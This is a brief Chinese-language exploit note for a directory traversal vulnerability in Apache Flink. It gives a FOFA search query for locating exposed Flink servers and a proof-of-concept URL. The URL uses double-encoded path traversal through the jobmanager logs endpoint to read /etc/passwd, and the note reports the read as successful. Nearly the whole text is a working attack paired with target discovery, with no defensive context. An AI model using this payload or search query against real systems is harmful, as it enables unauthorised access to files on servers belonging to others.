Apache Flink目录遍历漏洞

fofa语法搜索 app="Apache-Flink"

poc：
http://IP:PORT/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

 读取成功